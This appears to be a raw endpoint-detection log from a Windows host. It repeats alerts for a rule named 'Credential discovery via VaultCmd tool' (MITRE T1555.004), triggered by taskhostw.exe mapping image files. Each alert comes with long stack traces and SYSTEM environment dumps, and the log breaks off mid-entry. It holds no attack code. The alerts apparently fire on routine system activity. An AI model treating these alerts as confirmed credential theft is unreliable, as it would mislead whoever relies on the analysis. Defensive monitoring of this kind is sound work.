C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391518 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2762824 +0100 CET + Params: file_key➜ ffff808cc2207170, file_path➜ , offset➜ 8192, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb745a0000, view_size➜ 122880 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0x7ffb77ea3734 C:\Windows\System32\ntdll.dll!ZwMapViewOfSection|0x7ffb77dad9eb C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dad42e C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77db24cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb77db00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77d8a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d8ab06 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb77d540dd C:\Windows\System32\ntdll.dll!RtlReleaseSRWLockExclusive|0x7ffb77d47fc7 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffb750807f2 C:\Windows\System32\KernelBase.dll!GetProcAddress|0x7ffb541cbbc5 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391532 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2782685 +0100 CET + Params: file_key➜ ffff808cc220c450, file_path➜ , offset➜ 8192, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb74400000, view_size➜ 61440 + Metadata: technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb751182e6 C:\Windows\System32\KernelBase.dll!GetFileSecurityW|0x7ffb74edb60c C:\Windows\System32\crypt32.dll!I_CryptReadTrustedPublisherDWORDValueFromRegistry|0x7ffb74edb356 C:\Windows\System32\crypt32.dll!I_CryptReadTrustedPublisherDWORDValueFromRegistry|0x7ffb74ed5f51 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb74f2c15c C:\Windows\System32\crypt32.dll!CryptFreeOIDFunctionAddress|0x7ffb74ed698e C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74ed7ff0 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb6e738bdb C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e737c1a C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73858e C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73a32e C:\Windows\System32\dsreg.dll!DsrGetJoinInfoEx|0x7ffb6e73a047 C:\Windows\System32\dsreg.dll!DsrGetJoinInfo|0x7ffb541cbc07 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391555 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2800524 +0100 CET + Params: file_key➜ ffff808cc4d05700, file_path➜ , offset➜ 45056, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb54930000, view_size➜ 1155072 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee488 C:\WINDOWS\system32\ntoskrnl.exe!NtOpenFile+0x58|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3894 C:\Windows\System32\ntdll.dll!ZwOpenFile|0x7ffb7508d7e5 C:\Windows\System32\KernelBase.dll!FindFirstFileExW|0x7ffb7508d598 C:\Windows\System32\KernelBase.dll!FindFirstFileW|0x7ffb74edaf13 C:\Windows\System32\crypt32.dll!I_CryptReadTrustedPublisherDWORDValueFromRegistry|0x7ffb74edb38e C:\Windows\System32\crypt32.dll!I_CryptReadTrustedPublisherDWORDValueFromRegistry|0x7ffb74ed5f51 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb74f2c15c C:\Windows\System32\crypt32.dll!CryptFreeOIDFunctionAddress|0x7ffb74ed698e C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74ed7ff0 C:\Windows\System32\crypt32.dll!CertDeleteCertificateFromStore|0x7ffb74f2c7c6 C:\Windows\System32\crypt32.dll!CertOpenStore|0x7ffb6e738bdb C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e737c1a C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73858e C:\Windows\System32\dsreg.dll!DsrIsDeviceJoined|0x7ffb6e73a32e C:\Windows\System32\dsreg.dll!DsrGetJoinInfoEx|0x7ffb6e73a047 C:\Windows\System32\dsreg.dll!DsrGetJoinInfo|0x7ffb541cbc07 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cba74 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541cc754 C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb541b1d95 C:\Windows\System32\dcntel.dll!?|0x7ffb541b808c C:\Windows\System32\dcntel.dll!GetCensusPropertyAlloc|0x7ffb54969e74 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a097 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968991 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968533 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54967d39 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54968a8f C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549687fe C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb5496a68c C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960ee1 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391567 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2811745 +0100 CET + Params: file_key➜ ffff808cc22c3700, file_path➜ , offset➜ 8192, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb73670000, view_size➜ 225280 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.id: T1555, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files 